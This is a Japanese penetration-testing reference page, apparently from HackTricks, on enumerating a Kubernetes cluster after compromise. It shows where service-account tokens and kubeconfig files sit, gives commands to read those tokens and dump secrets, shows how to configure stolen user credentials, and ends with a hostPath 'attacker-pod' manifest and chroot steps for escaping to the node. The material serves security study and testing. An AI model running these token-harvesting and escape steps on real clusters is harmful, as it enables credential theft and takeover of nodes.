Kubernetes Enumeration

HackTricksをサポートする

Kubernetes Tokens

マシンへのアクセスが侵害された場合、ユーザーはKubernetesプラットフォームにアクセスできる可能性があります。トークンは通常、**env var KUBECONFIGで指し示されるファイルまたは~/.kube**内にあります。

このフォルダには、APIサーバーに接続するためのトークンと設定を含む設定ファイルが見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダもあります。

Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります:

Service Account Tokens

続ける前に、Kubernetesのサービスが何であるか知らない場合は、このリンクをフォローしてKubernetesアーキテクチャに関する情報を少なくとも読んでください。

Kubernetesのドキュメントからの引用:

「ポッドを作成する際、サービスアカウントを指定しない場合、同じ名前空間内のデフォルトサービスアカウントが自動的に割り当てられます。」

ServiceAccountはKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。 すべてのサービスアカウントには関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web Token(JWT)であり、2者間での主張を安全に表現する方法です。

通常、次のディレクトリのいずれかに:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

ファイルが含まれています:

  • ca.crt:Kubernetes通信を確認するためのCA証明書

  • namespace:現在の名前空間を示します

  • token:現在のポッドのサービストークンが含まれています。

トークンを取得したので、環境変数**KUBECONFIG内でAPIサーバーを見つけることができます。詳細については、(env | set) | grep -i "kuber|kube"`**を実行してください。

サービスアカウントトークンは、ファイルsa.keyに存在するキーによって署名され、sa.pubによって検証されます。

Kubernetesのデフォルトの場所:

  • /etc/kubernetes/pki

Minikubeのデフォルトの場所:

  • /var/lib/localkube/certs

Hot Pods

Hot podsは 特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト作成、ポッドの作成などの特権タスクを実行する権限を持つトークンです。

RBAC

RBACが何であるか知らない場合は、このセクションを読んでください

GUI Applications

  • k9s:ターミナルからKubernetesクラスターを列挙するGUI。コマンドはhttps://k9scli.io/topics/commands/で確認してください。:namespaceと入力し、すべてを選択してから、すべての名前空間でリソースを検索します。

  • k8slens:いくつかの無料トライアル日を提供しています:https://k8slens.dev/

Enumeration CheatSheet

K8s環境を列挙するには、次のものが必要です:

  • 有効な認証トークン。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。

  • Kubernetes APIのアドレス(https://host:port。これは通常、環境変数やkube設定ファイルに見つかります。

  • オプション:APIサーバーを検証するためのca.crt。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、kubectl--insecure-skip-tls-verifyを使用するか、curl-kを使用すれば必要ありません。

これらの詳細を使用して、Kubernetesを列挙できます。APIが何らかの理由でインターネットを通じてアクセス可能な場合、その情報をダウンロードしてホストからプラットフォームを列挙できます。

ただし、通常、APIサーバーは内部ネットワーク内にあるため、侵害されたマシンを通じてトンネルを作成して自分のマシンからアクセスする必要があります。または、kubectlバイナリをアップロードするか、**curl/wget/anything**を使用してAPIサーバーに生のHTTPリクエストを送信できます。

listget動詞の違い

**get**権限を持つと、特定の資産の情報にアクセスできます(kubectldescribeオプション)。

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

もし**list**権限があれば、資産の種類をリストするためのAPIリクエストを実行することが許可されます(kubectlgetオプション):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

もし**watch**権限がある場合、資産を監視するためにAPIリクエストを実行することが許可されています:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

彼らは、Deploymentが変更されるたび(または新しいものが作成されるとき)に、完全なマニフェストを返すストリーミング接続を開きます。

次の kubectl コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、get の代わりに describe を使用する必要があります。

curlを使用する

ポッド内から、いくつかの環境変数を使用できます:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

デフォルトでは、ポッドはドメイン名 kubernetes.default.svckube-api サーバーアクセス でき、ここでは /etc/resolv.config で kube ネットワークを見ることができます。ここでは、kubernetes DNS サーバーのアドレスが見つかります(同じ範囲の ".1" が kube-api エンドポイントです)。

kubectlの使用

トークンとAPIサーバーのアドレスを持っている場合、ここに示すようにkubectlまたはcurlを使用してアクセスします:

デフォルトでは、APISERVERは https:// スキーマで通信しています。

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

URLにhttps://が含まれていない場合、Bad Requestのようなエラーが発生する可能性があります。

公式のkubectlチートシートはこちらで見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて提示することです。

kubectlが送信するHTTPリクエストを見つけるには、パラメータ-v=8を使用できます。

MitM kubectl - kubectlのプロキシ化

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

現在の構成

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

もしユーザーの資格情報を盗むことに成功した場合、次のような方法でローカルに設定することができます:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

サポートされているリソースの取得

この情報を使用すると、リストできるすべてのサービスを知ることができます。

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

現在の権限を取得

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

権限を確認する別の方法は、ツールを使用することです: https://github.com/corneliusweig/rakkess****

Kubernetes RBAC について詳しくは、以下を参照してください:

Kubernetes Role-Based Access Control(RBAC)

どの権限を持っているかがわかったら、 次のページを確認して それを悪用して権限を昇格できるかどうかを調べてください:

Abusing Roles/ClusterRoles in Kubernetes

他の役割を取得する

k get roles
k get clusterroles

名前空間を取得する

Kubernetesは、同じ物理クラスターに基づく複数の仮想クラスターをサポートしています。これらの仮想クラスターは名前空間と呼ばれます。

k get namespaces

シークレットを取得する

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

シークレットを読むことができれば、次の行を使用して各トークンに関連する権限を取得できます:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

サービスアカウントの取得

このページの冒頭で説明したように、ポッドが実行されると通常サービスアカウントが割り当てられます。したがって、サービスアカウント、権限、およびそれらが実行されている場所をリストすることで、ユーザーが権限を昇格させることができるかもしれません。

k get serviceaccounts

デプロイメントの取得

デプロイメントは、実行する必要があるコンポーネントを指定します。

k get deployments
k get deployments -n custnamespace

Podsを取得する

Podsは実際に実行されるコンテナです。

k get pods
k get pods -n custnamespace

サービスの取得

Kubernetes サービスは、特定のポートとIPでサービスを公開するために使用されます(これは、実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。

k get services
k get services -n custnamespace

ノードを取得

クラスター内に構成されたすべてのノードを取得します。

k get nodes

DaemonSetsを取得する

DaemonSetsは、特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。

k get daemonsets

Cronジョブを取得

Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。

k get cronjobs

configMapを取得する

configMapには、kubernetesで実行されるアプリに提供される多くの情報と設定ファイルが常に含まれています。通常、他の内部/外部サービスに接続および検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。

k get configmaps # -n namespace

ネットワークポリシー / Ciliumネットワークポリシーの取得

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

すべてを取得 / すべて

k get all

Helmによって管理されているすべてのリソースを取得する

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

ポッドの消費量を取得する

k top pod --all-namespaces

ポッドからの脱出

新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootします。既存のポッドをyamlファイルの参考として使用できます。既存のイメージやパスが表示されるためです。

kubectl get pod <name> [-n <namespace>] -o yaml

特定のノードにポッドを作成する必要がある場合は、次のコマンドを使用してノードのラベルを取得できます。

k get nodes --show-labels

一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択するための良いラベルです。

その後、attack.yaml ファイルを作成します。

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

その後、ポッドを作成します。

kubectl apply -f attacker.yaml [-n <namespace>]

次に、作成したポッドに切り替えることができます。

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

そして最後に、ノードのシステムにchrootします。

chroot /root /bin/bash

情報は以下から取得されました: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

参考文献

HackTricksをサポートする

Last updated